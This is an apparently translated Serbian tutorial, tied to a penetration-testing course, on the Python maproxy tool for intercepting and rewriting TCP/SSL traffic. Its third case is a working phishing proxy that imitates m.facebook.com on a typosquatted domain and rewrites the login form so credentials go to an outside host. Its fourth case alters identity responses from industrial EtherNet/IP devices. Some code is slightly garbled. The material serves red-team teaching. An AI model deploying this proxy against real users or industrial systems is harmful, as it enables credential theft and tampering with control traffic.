Обрадите мрежне податке у ходу

Превод чланка припремљен је уочи почетка курса „Пентест. Пракса испитивања пенетрације".

Обрадите мрежне податке у ходу

Напомена

Различити типови безбедносних процена, у распону од редовног тестирања пенетрације и операција Ред Теам-а до хаковања ИоТ/ИЦС уређаја и СЦАДА-е, укључују рад са бинарним мрежним протоколима, то јест, у суштини пресретање и модификовање мрежних података између клијента и циља. Њушкање мрежног саобраћаја није тежак задатак јер имамо алате као што су Виресхарк, Тцпдумп или Сцапи, али се чини да је модификација напорнији задатак јер ћемо морати да имамо неку врсту интерфејса за читање мрежних података, филтрирање, мењање у ходу и пошаљите га назад циљном домаћину у скоро реалном времену. Поред тога, било би идеално када би такав алат могао аутоматски да ради са више паралелних веза и да се може прилагодити помоћу скрипти.

Једног дана сам открио алат под називом maproxy, документација ми је то брзо ставила до знања maproxy – баш оно што ми треба. Ово је прилично једноставан, свестран и лако подесив ТЦП прокси. Тестирао сам ову алатку на неколико прилично сложених апликација, укључујући ИЦС уређаје (који генеришу много пакета) да видим да ли може да поднесе много паралелних веза, а алатка је добро радила.

Овај чланак ће вас упознати са обрадом мрежних података у ходу помоћу maproxy.

Преглед

Алат maproxy је заснован на Торнаду, популарном и зрелом асинхроном мрежном оквиру у Питхон-у.

Генерално, може радити на неколико начина:

  • TCP:TCP – нешифроване ТЦП везе;
  • TCP:SSL и SSL:TCP – са једносмерном енкрипцијом;
  • SSL:SSL – двосмерно шифровање.

Долази као библиотека. За брзи почетак, можете користити примере датотека које одражавају главну функције библиотеке:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Случај 1 – једноставан двосмерни прокси

На бази tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Подразумевано ProxyServer() узима два аргумента – локацију везе и циљни порт. server.listen() узима један аргумент - порт за слушање долазне везе.

Извршавање скрипте:

# python tcp2tcp.py

Да бисмо покренули тест, повезаћемо се на локални ССХ сервер преко наше прокси скрипте, која слуша 2222/tcp порт и повезује се на стандардни порт 22/tcp ССХ сервери:

Обрадите мрежне податке у ходу

Банер добродошлице вас обавештава да је наш пример скрипте успешно проксио мрежни саобраћај.

Случај 2 – модификација података

Још један демо скрипт logging_proxy.py идеално за интеракцију са мрежним подацима. Коментари у датотеци описују методе класе које можете да измените да бисте постигли свој циљ:

Обрадите мрежне податке у ходу

Најинтересантније је овде:

  • on_c2p_done_read – пресретање података на путу од клијента до сервера;
  • on_p2s_done_read - обрнуто.

Покушајмо да променимо ССХ банер који сервер враћа клијенту:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Извршите скрипту:

Обрадите мрежне податке у ходу

Као што видите, клијент је заведен јер је име ССХ сервера за њега промењено у «DumnySSH».

Обрадите мрежне податке у ходу

Случај 3 – једноставна пхисхинг веб страница

Постоји безброј начина за коришћење овог алата. Овог пута хајде да се фокусирамо на нешто практичније са оперативне стране Црвеног тима. Хајде да имитирамо одредишну страницу m.facebook.com и користите прилагођени домен са намерном грешком у куцању, на пример, m.facebok.com. У сврху демонстрације, претпоставимо да смо домен регистровали.

Успоставићемо нешифровану мрежну везу са нашим проки сервером и ССЛ Стреам-ом на Фацебоок серверу (31.13.81.36). Да би овај пример функционисао, морамо да заменимо ХТТП заглавље хоста и убацимо исправно име хоста, а такође ћемо онемогућити компресију одговора како бисмо лако могли да приступимо садржају. На крају ћемо заменити ХТМЛ образац тако да се акредитиви за пријаву шаљу нама уместо Фацебоок серверима:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/sr/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Укратко:

Обрадите мрежне податке у ходу

Као што видите, успели смо да заменимо оригинални сајт.

Случај 4 – Портинг Етхернет/ИП

Већ неко време се бавим индустријским уређајима и софтвером (ИЦС/СЦАДА), као што су програмабилни контролери (ПЛЦ), И/О модули, драјвери, релеји, окружења за програмирање мердевина и још много тога. Овај случај је за оне који воле индустријске ствари. Хаковање таквих решења подразумева активно играње са мрежним протоколима. У следећем примеру, желео бих да покажем како можете да измените ИЦС/СЦАДА мрежни саобраћај.

Да бисте то урадили, потребно вам је следеће:

  • Мрежни сниффер, на пример, Виресхарк;
  • Етхернет/ИП или само СИП уређај, можете га пронаћи користећи Сходан услугу;
  • Наш сценарио је заснован на maproxy.

Прво, погледајмо како изгледа типичан идентификациони одговор из ЦИП-а (Цоммон Индустриал Протоцол):

Обрадите мрежне податке у ходу

Идентификација уређаја се постиже коришћењем Етхернет/ИП протокола, који је побољшана верзија индустријског Етхернет протокола који обухвата контролне протоколе као што је ЦИП. Променићемо означено ИД име које је видљиво на снимку екрана „НИ-ИндЦомм за Етхернет“ користећи нашу прокси скрипту. Могли бисмо поново користити скрипту logging_proxy.py и на сличан начин модификовати метод класе on_p2s_done_read, јер желимо да другачије име идентитета буде видљиво на клијенту.

Шифра:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

У суштини, два пута смо тражили идентификацију уређаја, други одговор је био оригинални, а први је модификован у ходу.

И последња

По мом мишљењу maproxy Погодан и једноставан алат, који је такође написан у Питхон-у, тако да верујем да и ви можете имати користи од његовог коришћења. Наравно, постоје сложенији алати за обраду и модификовање мрежних података, али и они захтевају више пажње и обично се креирају за конкретан случај употребе, нпр. Мураена, Модлисхка или евилгинк за случајеве сличне трећем, или Софа за последњи случај. На овај или онај начин, уз помоћ maproxy можете брзо да примените своје идеје за пресретање мрежних података, пошто су примери скрипти веома јасни.

Тестирање механизама аутентификације у Виндовс АД

Извор: ввв.хабр.цом

Додај коментар